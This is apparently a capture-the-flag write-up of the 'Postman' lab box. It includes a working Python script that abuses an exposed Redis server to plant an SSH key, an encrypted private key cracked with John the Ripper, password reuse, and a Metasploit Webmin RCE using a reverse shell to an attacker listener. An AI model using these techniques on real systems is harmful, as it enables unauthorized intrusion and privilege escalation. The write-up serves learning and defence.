Postman was an easy-going box. It required careful enumeration and beyond that did not have too much resistance in privilege escalation. This makes it a prime example for real-world M&M security where the initial foothold is hard, but there is few resistance on the inside.
Let’s start out by scanning the machine:
# nmap -sS -sC -oN postman.nmap -v 10.10.10.160 # Nmap 7.80 scan initiated Sun Dec 8 11:27:40 2019 as: nmap -sS -sC -oN postman.nmap -v -p1-10000 10.10.10.160 Increasing send delay for 10.10.10.160 from 0 to 5 due to 674 out of 2245 dropped probes since last increase. Nmap scan report for 10.10.10.160 Host is up (0.11s latency). Not shown: 9996 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http |_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis 10000/tcp open snet-sensor-mgmt | ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Postman | Issuer: commonName=*/organizationName=Webmin Webserver on Postman | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2019-08-25T16:26:22 | Not valid after: 2024-08-23T16:26:22 | MD5: 96f4 064c e63e 1277 4954 a4d9 a099 56ac |_SHA-1: 4322 6ff3 ab7a 6ade 2887 9b89 6657 401c 3afd 5217 |_ssl-date: TLS randomness does not represent time Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Dec 8 11:29:31 2019 -- 1 IP address (1 host up) scanned in 111.23 seconds
There are a few interesting things here already. We have a webserver running on port 80, an unprotected Redis database server on the default port 6379, and a custom application on port 10000. The latter one apparently is using an SSL certificate where the
organizationName already tells us that we are dealing with a Webmin admin panel here. That is already decent information to start out with!
Looking at the website on port 80, there is no real attack surface present. It’s just static content.
Moving on to port 10000, we are presented with a redirect to an SSL site.
To make this work, we tweak our
/etc/hosts file a bit and move to the site mentioned above. There we are presented with a Webmin login panel.
A few tries with default username/password combinations did not yield any success, so let’s move on. We don’t want to bruteforce the credentials here out of politeness to the other people hacking on it. 🙂
About Redis and port 6379, there is a general rule of thumb for production usage: NEVER PUT THIS THING ON THE OPEN INTERNET. If you don’t believe me, read the same thing in the Redis docs – worded a bit more elegantly:
Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.
In my attack I made some assumptions, such as that the user the DB is running under is called
redis, that its home directory is
/var/lib/redis/ and that the config options used in the attack are available. All of these should be true by default. So I generated a new SSH keypair and hacked up a little Python script:
import redis print("[+] Reading key") with open("attacker.key", "r") as keyfile: key = "\n\n" + keyfile.read().strip() + "\n\n" print("[+] Connecting to Redis") r = redis.StrictRedis( host='10.10.10.160', port=6379, ) print("[+] Flushing DB") r.flushdb() print("[+] Setting attacker SSH key") r.set("itdonottouch", key) print("[+] Setting configuration keys") r.config_set("dir", "/var/lib/redis/.ssh/") r.config_set("dbfilename", "authorized_keys") print("[+] Saving changes to Redis disk") r.save() print("[+] Exploit finished - try ssh with firstname.lastname@example.org")
Pulling this attack off requires basic knowledge of the Python
redis package, DB flushing, and an understanding of the two config keys I have used. The key names and their effect can be understood by checking out the relevant section in the Redis default config file:
# The filename where to dump the DB dbfilename dump.rdb # The working directory. # # The DB will be written inside this directory, with the filename specified # above using the 'dbfilename' configuration directive. # # The Append Only File will also be created inside this directory. # # Note that you must specify a directory here, not a file name. dir ./
After executing the exploit, we simply need to SSH into the box as
# ssh -i ~/.ssh/id_rsa email@example.com Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis)
Looking around a bit, we find an interesting backup file:
redis@Postman:~$ ls /opt/ id_rsa.bak
It’s an encrypted SSH key, so we
base64 it, copy it over, and decode it.
redis@Postman:~$ cat /opt/id_rsa.bak | base64 LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBERVMtRURFMy1DQkMsNzNFOUNFRkJDQ0Y1Mjg3QwoKSmVoQTUxSTE3cnNDT09WcXlXeCtDODM2M0lPQllYUTExRGR3L3ByM0wyQTJORHRCN3R2c1hOeXFLRGdoZlFuWApjd0dKSlVEOWtL...
# (cat user.key.bak | base64 -d) > user.key -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2 7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6 cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9 1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS 5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6 jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X 0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+ Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw== -----END RSA PRIVATE KEY-----
Now to prepare the file for John the Ripper and cracking it:
# /usr/share/john/ssh2john.py user.key > user.key.john # john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 user.key.john Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Node numbers 1-4 of 4 (fork) Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (user.key) 4 0g 0:00:00:09 DONE (2019-12-08 12:21) 0g/s 361800p/s 361800c/s 361800C/s *7¡Vamos! 3 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 357468p/s 357468c/s 357468C/sa6_123 1 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 356404p/s 356404c/s 356404C/sie168 Waiting for 3 children to terminate 2 1g 0:00:00:10 DONE (2019-12-08 12:21) 0.09813g/s 351856p/s 351856c/s 351856C/sabygurl69 Session completed
Got it. The only thing left to know now is a username. A quick look at
/etc/passwd helps us here:
root:x:0:0:root:/root:/bin/bash ... Matt:x:1000:1000:,,,:/home/Matt:/bin/bash redis:x:107:114::/var/lib/redis:/bin/bash
However, when we try to SSH into the box as Matt from our remote machine, or the box’
localhost, we get a permission error. Password authentication in SSH is enabled, however. So a good guess would be that Matt was a lazy user and reused his password that he previously encrypted his SSH key with.
redis@Postman:~$ su Matt Password: Matt@Postman:/var/lib/redis$
Damnit, Matt. We talked about this password rotation policy things in so many meetings before! In his home directory we can find the user flag. Now on to root.
Poking around the machine with Matt’s access rights, we don’t find much. It’s a good time to think back: We found a Webmin panel and Matt is already guilty once of password reuse. Let’s give it another shot.
Matt, come on! And on top of that, someone didn’t install their security updates:
Webmin itself has a set of very interesting functionalities to manage systems. So it doesn’t come as a surprise if it’s running under elevated privileges. Scouring the web for some interesting exploits, we find this Webmin security bulletin – and our current version seems to be 1.910. Normally I like to script my exploits in Python to get a deeper understanding of what they do, but this time I was inspired by Matt’s laziness and decided to take the easy way in with Metasploit:
msf5 exploit(linux/http/webmin_packageup_rce) > options Module options (exploit/linux/http/webmin_packageup_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD computer2008 yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.160 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 10000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME Matt yes Webmin Username VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.13 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Webmin <= 1.910
Firing this we end up with a root shell:
msf5 exploit(linux/http/webmin_packageup_rce) > exploit [*] Started reverse TCP handler on 10.10.14.13:4444 [+] Session cookie: 93a0b7c6234b1354928550dc12865af2 [*] Attempting to execute the payload... [*] Command shell session 2 opened (10.10.14.13:4444 -> 10.10.10.160:43526) at 2019-12-08 12:58:17 +0000 id uid=0(root) gid=0(root) groups=0(root)
… and the root flag is secured.
If there is anything to be learnt here, it is to never use Redis as an open service to the internet, and to always make sure your users do not reuse their passwords. Especially not if they’re as crappy as
computer2008. Often times users are not doing this because they’re stupid, but rather because they lack vital security education. So let’s not rant too much about Matt and hope his employer is going to send him to some nice workshops to get him up to speed. 🙂